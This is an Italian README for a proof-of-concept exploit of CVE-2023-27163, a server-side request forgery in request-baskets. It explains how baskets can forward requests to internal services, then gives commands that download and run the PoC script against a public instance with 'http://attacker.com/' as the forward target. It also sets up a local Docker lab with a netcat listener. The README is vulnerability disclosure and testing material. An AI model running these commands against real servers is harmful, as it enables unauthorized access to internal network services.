PoC di SSRF su Request-Baskets (CVE-2023-27163)

Questo repository contiene un Proof-of-Concept (PoC) per CVE-2023-27163, una vulnerabilità Server-Side Request Forgery (SSRF) scoperta in request-baskets fino alla versione 1.2.1. Questa vulnerabilità consente agli aggressori di accedere a risorse di rete e informazioni sensibili sfruttando il componente /api/baskets/{name} tramite una richiesta API modificata.

Ringraziamenti a @b33t1e, @chelinboo147 e @houqinsheng (vedi articolo).

Utilizzo

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/

Come funziona?

Request-baskets è un'applicazione web progettata per raccogliere e registrare richieste su una route specifica, chiamata basket. Quando la si crea, l'utente può specificare un altro server a cui inoltrare la richiesta. Il problema è che l'utente può specificare servizi non previsti, come applicazioni chiuse in rete.

Ad esempio: supponiamo che il server ospiti Request-baskets (porta 55555) e un server web Flask sulla porta 8000. Flask è anche configurato per interagire solo con localhost. Creando un basket che inoltra a http://localhost:8000, l'attaccante può accedere al server web Flask prima limitato.

Test su localhost

1. Avvia il container Docker di Request-Baskets

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1

2. Scarica il PoC

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh

3. Attendi una connessione

nc -lvp 8000

4. Salva l'indirizzo IP del docker host

DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')

5. Esegui il PoC

./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/

Licenza

Questo progetto è sotto Unlicense.